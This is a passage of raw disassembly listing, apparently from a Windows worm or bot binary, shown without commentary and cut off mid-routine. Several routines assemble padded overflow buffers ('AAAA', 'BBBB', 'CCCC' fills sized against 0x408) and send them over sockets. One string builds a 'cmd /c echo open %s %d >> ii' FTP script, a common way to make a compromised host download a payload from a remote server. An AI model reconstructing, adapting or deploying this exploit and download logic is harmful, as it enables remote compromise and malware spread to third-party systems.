; ---------------------------------------------------------------------------


loc_4245C5:				; CODE XREF: sub_424580+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_4245F4
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42460F
; ---------------------------------------------------------------------------


loc_4245F4:				; CODE XREF: sub_424580+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42460F:				; CODE XREF: sub_424580+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424580	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424670	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F24
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4246B5
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4246B5:				; CODE XREF: sub_424670+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_424670	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424750	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_424750	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_4247A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247E0	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_4247E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424810	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424824
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424824:				; CODE XREF: sub_424810+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444B5C
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424810	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424880	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42489C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42489C:				; CODE XREF: sub_424880+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424880	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248C0	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C95
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C95
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4447F8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444800
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444B80
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_444804
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444B74
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444B70
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E48
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444B64
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444B60
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C95:				; CODE XREF: sub_4248C0+1Ej
					; sub_4248C0+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_4248C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424DC0	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E29
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E29:				; CODE XREF: sub_424DC0+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436FF0
sub_424DC0	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424E40
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E40:				; CODE XREF: ___:00424E36j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424EA0	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424ED3
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424ED3:				; CODE XREF: sub_424EA0+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424EA0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F10	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424F43
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F43:				; CODE XREF: sub_424F10+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_444894
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_44480C
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_4448C4
		mov	[ebx+31h], eax
		mov	ecx, dword_4448C8
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E0F0
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E0F4
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424FE8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FE8:				; CODE XREF: sub_424F10+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425023
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425023:				; CODE XREF: sub_424F10+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4250A0	proc near		; CODE XREF: sub_401811j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A38
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447501
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447501
		call	sub_4017E4
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44763F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_4448D0
		push	ecx
		call	sub_401BEA
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_425152
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_425152:				; CODE XREF: sub_4250A0+A4j
		mov	ebp, dword_50FC2C
		mov	[esp+42Ch+var_408], edi


loc_42515C:				; CODE XREF: sub_4250A0+161j
		test	edi, edi
		jnz	loc_425207
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4251EA
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4251DF
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_4251DF:				; CODE XREF: sub_4250A0+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_4251F5


loc_4251EA:				; CODE XREF: sub_4250A0+D5j
		push	3E8h
		call	near ptr 2870000h
		nop


loc_4251F5:				; CODE XREF: sub_4250A0+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_42515C


loc_425207:				; CODE XREF: sub_4250A0+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_425237
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425237:				; CODE XREF: sub_4250A0+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_4250A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4252C0	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_4252C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425300	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425325
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425325:				; CODE XREF: sub_425300+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444C60
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444CC4, ecx
		lea	ecx, [eax+1]
		mov	dword_444CE5, ecx
		lea	ecx, [eax+17h]
		mov	dword_444CDD, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444CF3, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444CD4
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444CD8
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444CD9
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444CDD
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444CE1
		mov	[ecx+8], esi
		mov	esi, dword_444CE5
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444CE9
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425300	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425470	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_425470	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4254A0:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_4254C3
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4254C3:				; CODE XREF: ___:004254BBj
		cmp	eax, 0FFFFh
		jbe	short loc_4254D0
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4254D0:				; CODE XREF: ___:004254C8j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
